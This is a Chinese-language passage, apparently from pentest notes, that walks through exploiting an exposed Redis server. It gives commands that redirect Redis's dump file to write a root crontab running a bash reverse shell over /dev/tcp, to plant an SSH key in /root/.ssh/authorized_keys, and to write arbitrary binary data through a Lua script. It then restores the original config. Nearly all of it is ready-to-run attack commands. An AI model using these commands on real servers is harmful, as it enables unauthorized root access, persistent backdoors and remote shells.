#获取dir的值 config get dir #获取dbfilename的值 config get dbfilename #设置数据库备份目录为linux计划任务目录 config set dir '/var/spool/cron/' #设置备份文件名为root,以root身份执行计划任务 config set dbfilename 'root' #删除所有数据库的所有key flushall #设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,此处可以直接调用lua语句。 eval "redis.call('set','cron',string.char(10)..ARGV[1]..string.char(10))" 0 '*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/8080 0>&1' #保存 save #删除新增的key del cron #恢复dir和dbfilename config set dir '***' config set dbfilename '***'
写ssh pub key(前提是目标服务器允许使用key登录)
基本语句与写计划任务相同,直接调用lua语句写入ssh key前后的换行符
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
#获取dir的值 config get dir #获取dbfilename的值 config get dbfilename #设置数据库备份目录为.ssh config set dir '/root/.ssh/' #设置备份文件名为authorized_keys config set dbfilename 'authorized_keys' #清空数据库 flushall #写入ssh pub key的内容 eval "redis.call('set','ssh',string.char(10)..ARGV[1]..string.char(10))" 0 'ssh pub key' #保存 save #删除新增的key del ssh #恢复dir和dbfilename config set dir '***' config set dbfilename '***'
localfunctionhex2bin(hexstr) local str = "" for i = 1, string.len(hexstr) - 1, 2do local doublebytestr = string.sub(hexstr, i, i+1); local n = tonumber(doublebytestr, 16); if0 == n then str = str .. '\00' else str = str .. string.format("%c", n) end end return str end local dir = redis.call('config','get','dir') redis.call('config','set','dir','/tmp/') local dbfilename = redis.call('config','get','dbfilename') redis.call('config','set','dbfilename','t') local rdbcompress = redis.call('config','get','rdbcompression') redis.call('config','set','rdbcompression','no') redis.call('flushall') local data = '1a2b3c4d5e6f1223344556677890aa' redis.call('set','data',hex2bin('0a7c7c7c'..data..'7c7c7c0a')) local rst = {} rst[1] = 'server default config' rst[2] = 'dir:'..dir[2] rst[3] = 'dbfilename:'..dbfilename[2] rst[4] = 'rdbcompression:'..rdbcompress[2] return rst
redis-cli save -h *.*.*.* redis-cli config set dir *** -h *.*.*.* redis-cli config set dbfilename *** -h *.*.*.* redis-cli config set rdbcompression * -h *.*.*.*